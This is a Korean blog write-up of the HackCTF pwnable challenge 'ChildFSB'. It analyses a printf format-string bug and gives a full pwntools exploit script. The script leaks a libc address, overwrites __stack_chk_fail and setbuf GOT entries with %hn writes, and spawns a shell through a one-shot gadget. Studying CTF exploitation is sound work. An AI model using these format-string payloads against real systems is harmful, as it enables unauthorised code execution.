tmxklab
[HackCTF/Pwnable] ChildFSB 본문
1. 문제
nc ctf.j0n9hyun.xyz 3037
1) mitigation 확인
2) 문제 확인
- 입력 값을 받고 다시 출력해준다.
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init(argc, argv, envp);
puts("hello");
read(0, &buf, 0x19uLL);
printf(&buf);
return 0;
}
- read로 buf[rbp-0x20]변수에 0x19만큼 입력을 받음
- printf로 포맷 지정자 없이 출력해줌 → fsb취약점
2. 접근방법
일단 babyfsb문제와 구조가 비슷하고 카나리도 걸려있어서 stack_chk_fail@got overwrite를 하고 스택 스매싱을 일으켜 다시 main문으로 돌아오는 방식을 사용하기로 한다. 추가로 printf호출 직전 rsp기준으로 릭할 수 있는 주소 값을 찾아보자
1) __stack_chk_fail@got & main address 확인
- stack_chk_fail@got : 0x601020 → 0x4005c6
- main address : 0x40075f
- 하위 2bytes만 변경하면 된다. → %hn
2) leak할 수 있는 주소 값 확인
- __libc_start_main+240 주소 값을 릭하면 libc base주소를 구할 수 있다.
그런데 babyfsb때 처럼 입력 값을 많이 받지 않아(여기서는 0x19bytes밖에 받질 못함)한 번에 printf@got값을 변경하면 문제가 발생한다.
따라서, 나눠서 특정 함수의 got값을 overwrite해야 하며 나눠서 overwrite하는 동안 해당 함수를 실행시키면 안된다.
방법) setbuf@got overwrite
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init(argc, argv, envp);
puts("hello");
read(0, &buf, 0x19uLL);
printf(&buf);
return 0;
}
void Init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setbuf(stdin, 0LL);
}
- main함수 루틴에 Init함수를 호출하는데 그 안에 setbuf와 setvbuf함수가 존재한다.
- 따라서, 스택 스매싱이 일어날 때 main함수 처음으로 돌아가지 않고 Init함수 호출 이후 puts로 돌아오게 끔하며 setbuf@got overwrite를 진행한다.
공격 프로세스)
- __stack_chk_fail@got에 main함수 Init()호출 이후 주소를 넣고 스택 스매싱이 발생하게 한다. 추가로 __libc_start_main+240주소를 릭한다.
- 3번에 걸쳐 setbuf@got에 원샷 가젯을 넣는다.
- __stack_chk_fail@got에 Init()내부 setbuf()를 호출하는 주소를 넣고 스택 스매싱을 일으킨다.
3. 풀이
1) 원샷 가젯
- oneshot addr : 0x45216
2) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./childfsb")
p = remote("ctf.j0n9hyun.xyz", 3037)
e = ELF("./childfsb")
libc = ELF("/home/cmc/Desktop/lib_hack/childfsb/libc.so.6")
#gdb.attach(p, """b*0x4007ac""")
main_addr = e.symbols['main']
stackfail_got = e.got['__stack_chk_fail']
setbuf_got = e.got['setbuf']
init_setbuf = 0x400757 & 0xffff
start_main_offset = libc.symbols['__libc_start_main']
main_low = main_addr & 0xffff
main_low += 0x21
oneshot_offset = 0x45216
log.info("main addr : "+hex(main_addr))
log.info("__stack_chk_fail got : "+hex(stackfail_got))
log.info("__libc_start_main offset : "+hex(start_main_offset))
# 1. Input __stack_chk_fail@got -> main_addr
# libc_start_main+240 leak
payload = "%{}c".format(main_low)
payload += "%8$hn"
payload += "%11$p"
payload += p64(stackfail_got)
payload += "A"*(0x19-len(payload))
p.sendafter("hello\n", payload)
p.recvuntil("0x")
start_main = int(p.recv(12), 16)
start_main -= 240
libc_base = start_main - start_main_offset
oneshot_addr = libc_base + oneshot_offset
oneshot_low = oneshot_addr & 0xffff
oneshot_mid = (oneshot_addr >> 16 ) & 0xffff
oneshot_high = (oneshot_addr >> 32) & 0xffff
log.info("start_main addr : "+hex(start_main))
log.info("libc_base addr : "+hex(libc_base))
log.info("oneshot addr : "+hex(oneshot_addr))
log.info("oneshot_low addr : "+hex(oneshot_low))
log.info("oneshot_mid addr : "+hex(oneshot_mid))
log.info("oneshot_high addr : "+hex(oneshot_high))
# 2. Input setbuf@got -> oneshot gadget addr
# 2.1 oneshot low addr
payload = "%{}c".format(oneshot_low)
payload += "%9$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got)
payload += "A"*(0x19-len(payload))
p.sendafter("hello\n", payload)
# 2.2 oneshot mid addr
payload = "%{}c".format(oneshot_mid)
payload += "%10$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got+2)
payload += "A"*(0x19-len(payload))
p.sendafter("hello\n", payload)
# 2.3 oneshot high addr
payload = "%{}c".format(oneshot_high)
payload += "%11$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got+4)
payload += "A"*(0x19-len(payload))
p.sendafter("hello\n", payload)
# 3. Input stackfail@got -> init() - call setbuf
payload = "%{}c".format(init_setbuf)
payload += "%12$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(stackfail_got)
payload += "A"*(0x19-len(payload))
p.sendafter("hello\n", payload)
p.interactive()
3) 실행 결과
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] AdultFSB (0) | 2020.08.20 |
---|---|
[HackCTF/Pwnable] Unexploitable #4 (0) | 2020.08.15 |
[HackCTF/Pwnable] wishilist (0) | 2020.08.15 |
[HackCTF/Pwnable] Unexploitable #3 (0) | 2020.08.15 |
[HackCTF/Pwnable] ChildHeap (0) | 2020.08.15 |
Comments